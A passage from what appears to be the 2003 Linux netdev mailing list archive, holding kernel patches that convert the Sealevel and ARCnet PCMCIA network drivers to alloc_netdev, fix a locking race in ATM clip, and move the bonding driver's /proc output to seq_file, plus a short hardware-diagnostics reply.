if(!b->dev[1].netdev.dev) + b->dev[0]->chan = &b->board.chanA; + b->dev[0]->channel = 0; + + if (!(b->dev[1] = slvl_alloc(iobase, irq))) goto fail1_0; - dev=&b->board; + b->dev[1]->chan = &b->board.chanB; + b->dev[1]->channel = 1; + + dev = &b->board; /* * Stuff in the I/O addressing @@ -287,8 +315,8 @@ static struct slvl_board *slvl_init(int dev->irq=irq; dev->chanA.private=&b->dev[0]; dev->chanB.private=&b->dev[1]; - dev->chanA.netdevice=b->dev[0].netdev.dev; - dev->chanB.netdevice=b->dev[1].netdev.dev; + dev->chanA.netdevice=b->dev[0]->netdev.dev; + dev->chanB.netdevice=b->dev[1]->netdev.dev; dev->chanA.dev=dev; dev->chanB.dev=dev; @@ -329,55 +357,18 @@ static struct slvl_board *slvl_init(int enable_irq(irq); - for(u=0; u<2; u++) - { - sv=&b->dev[u]; - sv->channel = u; - - if(dev_alloc_name(sv->chan->netdevice,"hdlc%d")>=0) - { - struct net_device *d=sv->chan->netdevice; - - /* - * Initialise the PPP components - */ - sppp_attach(&sv->netdev); - - /* - * Local fields - */ - - d->base_addr = iobase; - d->irq = irq; - d->priv = sv; - d->init = NULL; - - d->open = sealevel_open; - d->stop = sealevel_close; - d->hard_start_xmit = sealevel_queue_xmit; - d->get_stats = sealevel_get_stats; - d->set_multicast_list = NULL; - d->do_ioctl = sealevel_ioctl; - d->neigh_setup = sealevel_neigh_setup_dev; - d->set_mac_address = NULL; + if (register_netdev(b->dev[0]->netdev.dev)) + goto dmafail2; - if(register_netdev(d)==-1) - { - printk(KERN_ERR "%s: unable to register device.\n", - d->name); - goto fail_unit; - } + if (register_netdev(b->dev[1]->netdev.dev)) + goto fail_unit; - break; - } - } z8530_describe(dev, "I/O", iobase); dev->active=1; return b; fail_unit: - if(u==1) - unregister_netdev(b->dev[0].chan->netdevice); + unregister_netdev(b->dev[0]->netdev.dev); dmafail2: free_dma(dev->chanA.rxdma); @@ -386,9 +377,9 @@ dmafail: fail: free_irq(irq, dev); fail1_1: - kfree(b->dev[1].netdev.dev); + free_netdev(b->dev[1]->netdev.dev); fail1_0: - kfree(b->dev[0].netdev.dev); + free_netdev(b->dev[0]->netdev.dev); fail2: kfree(b); fail3: @@ -396,7 +387,7 @@ fail3: return NULL; } -static void slvl_shutdown(struct slvl_board *b) +static void __exit slvl_shutdown(struct slvl_board *b) { int u; @@ -404,8 +395,11 @@ static void slvl_shutdown(struct slvl_bo for(u=0; u<2; u++) { - sppp_detach(b->dev[u].netdev.dev); - unregister_netdev(b->dev[u].netdev.dev); + struct net_device *d = b->dev[u]->netdev.dev; + sppp_detach(d); + + unregister_netdev(d); + free_netdev(d); } free_irq(b->board.irq, &b->board); @@ -416,7 +410,6 @@ static void slvl_shutdown(struct slvl_bo release_region(b->iobase, 8); } -#ifdef MODULE static int io=0x238; static int txdma=1; @@ -441,20 +434,22 @@ MODULE_DESCRIPTION("Modular driver for t static struct slvl_board *slvl_unit; -int init_module(void) +static int __init slvl_init_module(void) { +#ifdef MODULE printk(KERN_INFO "SeaLevel Z85230 Synchronous Driver v 0.02.\n"); - printk(KERN_INFO "(c) Copyright 1998, Building Number Three Ltd.\n"); - if((slvl_unit=slvl_init(io,irq, txdma, rxdma, slow))==NULL) - return -ENODEV; - return 0; + printk(KERN_INFO "(c) Copyright 1998, Building Number Three Ltd.\n"); +#endif + slvl_unit = slvl_init(io, irq, txdma, rxdma, slow); + + return slvl_unit ? 0 : -ENODEV; } -void cleanup_module(void) +static void __exit slvl_cleanup_module(void) { if(slvl_unit) slvl_shutdown(slvl_unit); } -#endif - +module_init(slvl_init_module); +module_exit(slvl_cleanup_module); From shemminger@osdl.org Mon Sep 15 11:55:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 11:55:37 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FItWYa006738 for ; Mon, 15 Sep 2003 11:55:32 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8FIsoo09799; Mon, 15 Sep 2003 11:54:50 -0700 Date: Mon, 15 Sep 2003 11:54:30 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] update arcnet/pcmcia driver Message-Id: <20030915115430.5b28dbd8.shemminger@osdl.org> In-Reply-To: <3F60CC35.3010107@pobox.com> References: <20030909163506.7d87d7e7.shemminger@osdl.org> <3F60CC35.3010107@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5921 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Redo of earlier patch to get rid of MOD_INC/DEC and use alloc_netdev. This is against 2.6.0-test5 bk latest. diff -Nru a/drivers/net/pcmcia/com20020_cs.c b/drivers/net/pcmcia/com20020_cs.c --- a/drivers/net/pcmcia/com20020_cs.c Mon Sep 15 11:53:32 2003 +++ b/drivers/net/pcmcia/com20020_cs.c Mon Sep 15 11:53:32 2003 @@ -145,6 +145,20 @@ dev_node_t node; } com20020_dev_t; +static void com20020_setup(struct net_device *dev) +{ + struct arcnet_local *lp = dev->priv; + + lp->timeout = timeout; + lp->backplane = backplane; + lp->clockp = clockp; + lp->clockm = clockm & 3; + lp->hw.owner = THIS_MODULE; + + /* fill in our module parameters as defaults */ + dev->dev_addr[0] = node; +} + /*====================================================================== com20020_attach() creates an "instance" of the driver, allocating @@ -173,18 +187,14 @@ if (!info) goto fail_alloc_info; - lp = kmalloc(sizeof(struct arcnet_local), GFP_KERNEL); - if (!lp) - goto fail_alloc_lp; - - dev = dev_alloc("arc%d", &ret); + dev = alloc_netdev(sizeof(struct arcnet_local), "arc%d", + com20020_setup); if (!dev) goto fail_alloc_dev; memset(info, 0, sizeof(struct com20020_dev_t)); - memset(lp, 0, sizeof(struct arcnet_local)); memset(link, 0, sizeof(struct dev_link_t)); - dev->priv = lp; + lp = dev->priv; link->io.Attributes1 = IO_DATA_PATH_WIDTH_8; link->io.NumPorts1 = 16; @@ -201,13 +211,6 @@ link->conf.IntType = INT_MEMORY_AND_IO; link->conf.Present = PRESENT_OPTION; - /* fill in our module parameters as defaults */ - dev->dev_addr[0] = node; - lp->timeout = timeout; - lp->backplane = backplane; - lp->clockp = clockp; - lp->clockm = clockm & 3; - lp->hw.owner = THIS_MODULE; link->irq.Instance = info->dev = dev; link->priv = info; @@ -234,8 +237,6 @@ return link; fail_alloc_dev: - kfree(lp); -fail_alloc_lp: kfree(info); fail_alloc_info: kfree(link); @@ -303,11 +304,9 @@ /* ...but I/O ports are done automatically by card services */ unregister_netdev(dev); - MOD_DEC_USE_COUNT; } DEBUG(1,"kfree...\n"); - kfree(dev->priv); free_netdev(dev); } DEBUG(1,"kfree2...\n"); @@ -361,7 +360,6 @@ /* Configure card */ link->state |= DEV_CONFIG; - strcpy(info->node.dev_name, dev->name); DEBUG(1,"arcnet: baseport1 is %Xh\n", link->io.BasePort1); i = !CS_SUCCESS; @@ -407,13 +405,11 @@ goto failed; } - MOD_INC_USE_COUNT; - lp = dev->priv; lp->card_name = "PCMCIA COM20020"; lp->card_flags = ARC_CAN_10MBIT; /* pretend all of them can 10Mbit */ - i = com20020_found(dev, 0); + i = com20020_found(dev, 0); /* calls register_netdev */ if (i != 0) { DEBUG(1,KERN_NOTICE "com20020_cs: com20020_found() failed\n"); @@ -421,6 +417,7 @@ } info->dev_configured = 1; + strcpy(info->node.dev_name, dev->name); link->dev = &info->node; link->state &= ~DEV_CONFIG_PENDING; From chas@cmf.nrl.navy.mil Mon Sep 15 12:11:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 12:11:31 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FJBRYa007532 for ; Mon, 15 Sep 2003 12:11:27 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8FJBKSa003299; Mon, 15 Sep 2003 15:11:21 -0400 (EDT) Message-Id: <200309151911.h8FJBKSa003299@ginger.cmf.nrl.navy.mil> To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() Reply-To: chas3@users.sourceforge.net Date: Mon, 15 Sep 2003 15:11:21 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5922 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev please apply to 2.6 and 2.4 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1315 -> 1.1316 # net/atm/clip.c 1.22 -> 1.23 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/15 chas@relax.cmf.nrl.navy.mil 1.1316 # [ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() # -------------------------------------------- # diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Mon Sep 15 15:08:57 2003 +++ b/net/atm/clip.c Mon Sep 15 15:08:57 2003 @@ -93,6 +93,7 @@ printk(KERN_CRIT "!clip_vcc->entry (clip_vcc %p)\n",clip_vcc); return; } + spin_lock_bh(&entry->neigh->dev->xmit_lock); /* block clip_start_xmit() */ entry->neigh->used = jiffies; for (walk = &entry->vccs; *walk; walk = &(*walk)->next) if (*walk == clip_vcc) { @@ -102,17 +103,20 @@ clip_vcc->entry = NULL; if (clip_vcc->xoff) netif_wake_queue(entry->neigh->dev); - if (entry->vccs) return; + if (entry->vccs) + goto out; entry->expires = jiffies-1; /* force resolution or expiration */ error = neigh_update(entry->neigh,NULL,NUD_NONE,0,0); if (error) printk(KERN_CRIT "unlink_clip_vcc: " "neigh_update failed with %d\n",error); - return; + goto out; } printk(KERN_CRIT "ATMARP: unlink_clip_vcc failed (entry %p, vcc " "0x%p)\n",entry,clip_vcc); +out: + spin_unlock_bh(&entry->neigh->dev->xmit_lock); } From scott.feldman@intel.com Mon Sep 15 13:04:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 13:04:33 -0700 (PDT) Received: from caduceus.jf.intel.com (fmr06.intel.com [134.134.136.7]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FK4SYa012290 for ; Mon, 15 Sep 2003 13:04:29 -0700 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by caduceus.jf.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8FK42Kf006198 for ; Mon, 15 Sep 2003 20:04:03 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by petasus.jf.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8FJwud15778 for ; Mon, 15 Sep 2003 19:58:56 GMT Received: from orsmsx331.amr.corp.intel.com ([192.168.65.56]) by orsmsxvs041.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091513041512142 ; Mon, 15 Sep 2003 13:04:15 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx331.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 15 Sep 2003 13:04:15 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: Intel PRO/1000 NIC Date: Mon, 15 Sep 2003 13:04:14 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Intel PRO/1000 NIC Thread-Index: AcN7l0XyJUmxzfBiRB6AnU9Ji4dkxAALQxGQ From: "Feldman, Scott" To: "Lisong Xu" , , X-OriginalArrivalTime: 15 Sep 2003 20:04:15.0193 (UTC) FILETIME=[89C87C90:01C37BC4] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8FK4SYa012290 X-archive-position: 5923 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > I am sending UDP data from one PC to another PC directly > through a cross cable. The NIC of sender is Intel(r) PRO/1000 > MT Server Adapter, and the NIC of receiver is on-board Intel > PRO/1000 (Dell PowerEdge 1600SC). A dump of lspci -vvv, ethtool -i eth, and ethtool -d eth will tell us the 8254x controller version you're using; the driver version; if you're running PCI or PCI-X, and at what speed; and what you're sharing the bus with. Ethtool version 1.8: http://sf.net/projects/gkernel. Latest e1000: http://sf.net/projects/e1000. -scott From amir.noam@intel.com Mon Sep 15 13:48:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 13:48:38 -0700 (PDT) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FKmWYa013946 for ; Mon, 15 Sep 2003 13:48:33 -0700 Received: from talaria.jf.intel.com (talaria.jf.intel.com [10.7.209.7]) by hermes.jf.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8FBBMbt026297 for ; Mon, 15 Sep 2003 11:11:22 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by talaria.jf.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8FAUr216551 for ; Mon, 15 Sep 2003 10:30:53 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091504110917400 ; Mon, 15 Sep 2003 04:11:10 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH] [bonding] Convert /proc to seq_file Date: Mon, 15 Sep 2003 14:11:08 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Cc: jgarzik@pobox.com Message-Id: <200309151411.08451.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5924 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev This patch converts /proc/net/bondX/info into /proc/net/bonding/bondX using the seq_file interface. This is based on Stephen's recent patch, but slightly modified to work with the propagation patch set and with some locking changes to make it simpler. The patch applies both on 2.4 (after the sync set from earlier today) and on 2.6 (after the propagation set from 2003/11/9). Amir diff -Nuarp a/Documentation/networking/bonding.txt b/Documentation/networking/bonding.txt --- a/Documentation/networking/bonding.txt 2003-09-15 11:39:48.000000000 +0300 +++ b/Documentation/networking/bonding.txt 2003-09-15 11:39:49.000000000 +0300 @@ -527,9 +527,9 @@ Verifying Bond Configuration 1) Bonding information files ---------------------------- -The bonding driver information files reside in the /proc/net/bond* directories. +The bonding driver information files reside in the /proc/net/bonding directory. -Sample contents of /proc/net/bond0/info after the driver is loaded with +Sample contents of /proc/net/bonding/bond0 after the driver is loaded with parameters of mode=0 and miimon=1000 is shown below. Bonding Mode: load balancing (round-robin) diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h 2003-09-15 11:39:48.000000000 +0300 +++ b/drivers/net/bonding/bonding.h 2003-09-15 11:39:49.000000000 +0300 @@ -101,8 +101,7 @@ typedef struct bonding { struct timer_list arp_timer; struct net_device_stats stats; #ifdef CONFIG_PROC_FS - struct proc_dir_entry *bond_proc_dir; - struct proc_dir_entry *bond_proc_info_file; + struct proc_dir_entry *bond_proc_file; char procdir_name[IFNAMSIZ]; #endif /* CONFIG_PROC_FS */ struct list_head bond_list; diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c 2003-09-15 11:39:48.000000000 +0300 +++ b/drivers/net/bonding/bond_main.c 2003-09-15 11:39:50.000000000 +0300 @@ -420,6 +420,12 @@ * HW address and MTU with proper unwind; Consolidate procfs code, * add CHANGENAME handler; Enhance netdev notification handling. * Version to 2.4.0. + * + * 2003/09/15 - Stephen Hemminger , + * Amir Noam + * - Convert /proc to seq_file interface. + * Change /proc/net/bondX/info to /proc/net/bonding/bondX. + * Set version to 2.4.1. */ #include @@ -453,6 +459,8 @@ #include #include #include +#include +#include #include #include @@ -464,8 +472,8 @@ #include "bond_3ad.h" #include "bond_alb.h" -#define DRV_VERSION "2.4.0" -#define DRV_RELDATE "August 7, 2003" +#define DRV_VERSION "2.4.1" +#define DRV_RELDATE "September 15, 2003" #define DRV_NAME "bonding" #define DRV_DESCRIPTION "Ethernet Channel Bonding Driver" @@ -553,6 +561,9 @@ static struct bond_parm_tbl bond_lacp_tb }; static LIST_HEAD(bond_dev_list); +#ifdef CONFIG_PROC_FS +static struct proc_dir_entry *bond_proc_dir = NULL; +#endif MODULE_PARM(max_bonds, "i"); MODULE_PARM_DESC(max_bonds, "Max number of bonded devices"); @@ -3348,172 +3359,218 @@ static struct net_device_stats *bond_get } #ifdef CONFIG_PROC_FS -static int bond_read_proc(char *buf, char **start, off_t off, int count, int *eof, void *data) + +#define SEQ_START_TOKEN ((void *)1) + +static void *bond_info_seq_start(struct seq_file *seq, loff_t *pos) { - struct bonding *bond = (struct bonding *) data; - int len = 0; - u16 link; - slave_t *slave = NULL; + struct bonding *bond = seq->private; + loff_t off = 0; + struct slave *slave; /* make sure the bond won't be taken away */ read_lock(&dev_base_lock); + read_lock_bh(&bond->lock); - len += sprintf(buf + len, "%s\n", version); + if (*pos == 0) { + return SEQ_START_TOKEN; + } - /* - * This function locks the mutex, so we can't lock it until - * afterwards - */ - link = bond_check_mii_link(bond); + for (slave = bond->prev; slave != (slave_t *)bond; + slave = slave->prev) { + + if (++off == *pos) { + return slave; + } + } + + return NULL; +} + +static void *bond_info_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct bonding *bond = seq->private; + struct slave *slave = v; + + ++*pos; + if (v == SEQ_START_TOKEN) { + slave = bond->prev; + } else { + slave = slave->prev; + } + + return (slave == (struct slave *) bond) ? NULL : slave; +} + +static void bond_info_seq_stop(struct seq_file *seq, void *v) +{ + struct bonding *bond = seq->private; - len += sprintf(buf + len, "Bonding Mode: %s\n", - bond_mode_name()); + read_unlock_bh(&bond->lock); + read_unlock(&dev_base_lock); +} + +static void bond_info_show_master(struct seq_file *seq, struct bonding *bond) +{ + struct slave *curr; + + read_lock(&bond->ptrlock); + curr = bond->current_slave; + read_unlock(&bond->ptrlock); + + seq_printf(seq, "Bonding Mode: %s\n", bond_mode_name()); if (USES_PRIMARY(bond_mode)) { - read_lock_bh(&bond->lock); - read_lock(&bond->ptrlock); - if (bond->current_slave != NULL) { - len += sprintf(buf + len, - "Currently Active Slave: %s\n", - bond->current_slave->dev->name); + if (curr) { + seq_printf(seq, + "Currently Active Slave: %s\n", + curr->dev->name); } - read_unlock(&bond->ptrlock); - read_unlock_bh(&bond->lock); } - len += sprintf(buf + len, "MII Status: "); - len += sprintf(buf + len, - link == BMSR_LSTATUS ? "up\n" : "down\n"); - len += sprintf(buf + len, "MII Polling Interval (ms): %d\n", - miimon); - len += sprintf(buf + len, "Up Delay (ms): %d\n", - updelay * miimon); - len += sprintf(buf + len, "Down Delay (ms): %d\n", - downdelay * miimon); - len += sprintf(buf + len, "Multicast Mode: %s\n", - multicast_mode_name()); - - read_lock_bh(&bond->lock); + seq_printf(seq, "MII Status: %s\n", (curr) ? "up" : "down"); + seq_printf(seq, "MII Polling Interval (ms): %d\n", miimon); + seq_printf(seq, "Up Delay (ms): %d\n", updelay * miimon); + seq_printf(seq, "Down Delay (ms): %d\n", downdelay * miimon); + seq_printf(seq, "Multicast Mode: %s\n", multicast_mode_name()); if (bond_mode == BOND_MODE_8023AD) { struct ad_info ad_info; - len += sprintf(buf + len, "\n802.3ad info\n"); + seq_puts(seq, "\n802.3ad info\n"); if (bond_3ad_get_active_agg_info(bond, &ad_info)) { - len += sprintf(buf + len, "bond %s has no active aggregator\n", bond->device->name); + seq_printf(seq, "bond %s has no active aggregator\n", + bond->device->name); } else { - len += sprintf(buf + len, "Active Aggregator Info:\n"); + seq_printf(seq, "Active Aggregator Info:\n"); - len += sprintf(buf + len, "\tAggregator ID: %d\n", ad_info.aggregator_id); - len += sprintf(buf + len, "\tNumber of ports: %d\n", ad_info.ports); - len += sprintf(buf + len, "\tActor Key: %d\n", ad_info.actor_key); - len += sprintf(buf + len, "\tPartner Key: %d\n", ad_info.partner_key); - len += sprintf(buf + len, "\tPartner Mac Address: %02x:%02x:%02x:%02x:%02x:%02x\n", - ad_info.partner_system[0], - ad_info.partner_system[1], - ad_info.partner_system[2], - ad_info.partner_system[3], - ad_info.partner_system[4], - ad_info.partner_system[5]); + seq_printf(seq, "\tAggregator ID: %d\n", + ad_info.aggregator_id); + seq_printf(seq, "\tNumber of ports: %d\n", + ad_info.ports); + seq_printf(seq, "\tActor Key: %d\n", + ad_info.actor_key); + seq_printf(seq, "\tPartner Key: %d\n", + ad_info.partner_key); + seq_printf(seq, "\tPartner Mac Address: %02x:%02x:%02x:%02x:%02x:%02x\n", + ad_info.partner_system[0], + ad_info.partner_system[1], + ad_info.partner_system[2], + ad_info.partner_system[3], + ad_info.partner_system[4], + ad_info.partner_system[5]); } } +} - for (slave = bond->prev; slave != (slave_t *)bond; - slave = slave->prev) { - len += sprintf(buf + len, "\nSlave Interface: %s\n", slave->dev->name); - - len += sprintf(buf + len, "MII Status: "); - - len += sprintf(buf + len, - slave->link == BOND_LINK_UP ? - "up\n" : "down\n"); - len += sprintf(buf + len, "Link Failure Count: %d\n", - slave->link_failure_count); +static void bond_info_show_slave(struct seq_file *seq, const struct slave *slave) +{ + seq_printf(seq, "\nSlave Interface: %s\n", slave->dev->name); + seq_printf(seq, "MII Status: %s\n", + (slave->link == BOND_LINK_UP) ? "up" : "down"); + seq_printf(seq, "Link Failure Count: %d\n", + slave->link_failure_count); - if (app_abi_ver >= 1) { - len += sprintf(buf + len, - "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", - slave->perm_hwaddr[0], - slave->perm_hwaddr[1], - slave->perm_hwaddr[2], - slave->perm_hwaddr[3], - slave->perm_hwaddr[4], - slave->perm_hwaddr[5]); - } + if (app_abi_ver >= 1) { + seq_printf(seq, + "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", + slave->perm_hwaddr[0], + slave->perm_hwaddr[1], + slave->perm_hwaddr[2], + slave->perm_hwaddr[3], + slave->perm_hwaddr[4], + slave->perm_hwaddr[5]); + } - if (bond_mode == BOND_MODE_8023AD) { - struct aggregator *agg = SLAVE_AD_INFO(slave).port.aggregator; + if (bond_mode == BOND_MODE_8023AD) { + const struct aggregator *agg + = SLAVE_AD_INFO(slave).port.aggregator; - if (agg) { - len += sprintf(buf + len, "Aggregator ID: %d\n", - agg->aggregator_identifier); - } else { - len += sprintf(buf + len, "Aggregator ID: N/A\n"); - } + if (agg) { + seq_printf(seq, "Aggregator ID: %d\n", + agg->aggregator_identifier); + } else { + seq_puts(seq, "Aggregator ID: N/A\n"); } } - read_unlock_bh(&bond->lock); +} - /* - * Figure out the calcs for the /proc/net interface - */ - if (len <= off + count) { - *eof = 1; - } - *start = buf + off; - len -= off; - if (len > count) { - len = count; - } - if (len < 0) { - len = 0; +static int bond_info_seq_show(struct seq_file *seq, void *v) +{ + if (v == SEQ_START_TOKEN) { + seq_printf(seq, "%s\n", version); + bond_info_show_master(seq, seq->private); + } else { + bond_info_show_slave(seq, v); } - read_unlock(&dev_base_lock); - - return len; + return 0; } -#endif /* CONFIG_PROC_FS */ + +static struct seq_operations bond_info_seq_ops = { + .start = bond_info_seq_start, + .next = bond_info_seq_next, + .stop = bond_info_seq_stop, + .show = bond_info_seq_show, +}; + +static int bond_info_open(struct inode *inode, struct file *file) +{ + struct seq_file *seq; + struct proc_dir_entry *proc; + int rc; + + rc = seq_open(file, &bond_info_seq_ops); + if (!rc) { + /* recover the pointer buried in proc_dir_entry data */ + seq = file->private_data; + proc = PDE(inode); + seq->private = proc->data; + } + return rc; +} + +static struct file_operations bond_info_fops = { + .owner = THIS_MODULE, + .open = bond_info_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; static int bond_create_proc_info(struct bonding *bond) { -#ifdef CONFIG_PROC_FS struct net_device *dev = bond->device; - bond->bond_proc_dir = proc_mkdir(dev->name, proc_net); - if (bond->bond_proc_dir == NULL) { - printk(KERN_ERR "%s: Cannot init /proc/net/%s/\n", - dev->name, dev->name); - return -ENOMEM; - } - bond->bond_proc_dir->owner = THIS_MODULE; - - bond->bond_proc_info_file = - create_proc_read_entry("info", 0, bond->bond_proc_dir, - bond_read_proc, bond); - if (bond->bond_proc_info_file == NULL) { - printk(KERN_ERR "%s: Cannot init /proc/net/%s/info\n", - dev->name, dev->name); - remove_proc_entry(dev->name, proc_net); - return -ENOMEM; + if (bond_proc_dir) { + bond->bond_proc_file = create_proc_entry(dev->name, + S_IRUGO, + bond_proc_dir); + if (bond->bond_proc_file == NULL) { + printk(KERN_WARNING + "%s: Cannot create /proc/net/bonding/%s\n", + dev->name, dev->name); + } else { + bond->bond_proc_file->data = bond; + bond->bond_proc_file->proc_fops = &bond_info_fops; + bond->bond_proc_file->owner = THIS_MODULE; + memcpy(bond->procdir_name, dev->name, IFNAMSIZ); + } } - bond->bond_proc_info_file->owner = THIS_MODULE; - memcpy(bond->procdir_name, dev->name, IFNAMSIZ); -#endif /* CONFIG_PROC_FS */ return 0; } static void bond_destroy_proc_info(struct bonding *bond) { -#ifdef CONFIG_PROC_FS - remove_proc_entry("info", bond->bond_proc_dir); - remove_proc_entry(bond->procdir_name, proc_net); - memset(bond->procdir_name, 0, IFNAMSIZ); - bond->bond_proc_dir = NULL; -#endif /* CONFIG_PROC_FS */ + if (bond_proc_dir && bond->bond_proc_file) { + remove_proc_entry(bond->procdir_name, bond_proc_dir); + memset(bond->procdir_name, 0, IFNAMSIZ); + bond->bond_proc_file = NULL; + } } +#endif /* CONFIG_PROC_FS */ /* * Change HW address @@ -3645,13 +3702,11 @@ unwind: */ static inline int bond_event_changename(struct bonding *bond) { - int error; - +#ifdef CONFIG_PROC_FS bond_destroy_proc_info(bond); - error = bond_create_proc_info(bond); - if (error) { - return NOTIFY_BAD; - } + bond_create_proc_info(bond); +#endif + return NOTIFY_DONE; } @@ -3770,13 +3825,15 @@ static struct notifier_block bond_netdev .notifier_call = bond_netdev_event, }; -static void bond_deinit(struct net_device *dev) +static inline void bond_deinit(struct net_device *dev) { struct bonding *bond = dev->priv; list_del(&bond->bond_list); +#ifdef CONFIG_PROC_FS bond_destroy_proc_info(bond); +#endif } static void bond_free_all(void) @@ -3790,6 +3847,13 @@ static void bond_free_all(void) bond_deinit(dev); free_netdev(dev); } + +#ifdef CONFIG_PROC_FS + if (bond_proc_dir) { + remove_proc_entry(DRV_NAME, proc_net); + bond_proc_dir = NULL; + } +#endif } /* @@ -3800,7 +3864,6 @@ static int __init bond_init(struct net_d { struct bonding *bond; int count; - int err = 0; #ifdef BONDING_DEBUG printk (KERN_INFO "Begin bond_init for %s\n", dev->name); @@ -3878,27 +3941,14 @@ static int __init bond_init(struct net_d } else { printk("out ARP monitoring\n"); } - - err = bond_create_proc_info(bond); - if (err) { - printk(KERN_ERR "%s: Failed to create proc entry\n", - dev->name); - return err; - } - - /* Future: - * If anything fails beyond this point - * make sure to destroy the proc entry - */ + +#ifdef CONFIG_PROC_FS + bond_create_proc_info(bond); +#endif list_add_tail(&bond->bond_list, &bond_dev_list); return 0; -/* -err_out: - bond_destroy_proc_info(bond); - return err; -*/ } /* @@ -4180,6 +4230,16 @@ static int __init bonding_init(void) primary = NULL; } +#ifdef CONFIG_PROC_FS + bond_proc_dir = proc_mkdir(DRV_NAME, proc_net); + if (bond_proc_dir == NULL) { + printk(KERN_WARNING + "bonding_init(): can not create /proc/net/" DRV_NAME); + } else { + bond_proc_dir->owner = THIS_MODULE; + } +#endif + rtnl_lock(); err = 0; From romieu@fr.zoreil.com Mon Sep 15 14:08:30 2003 Received: with ECARTIS 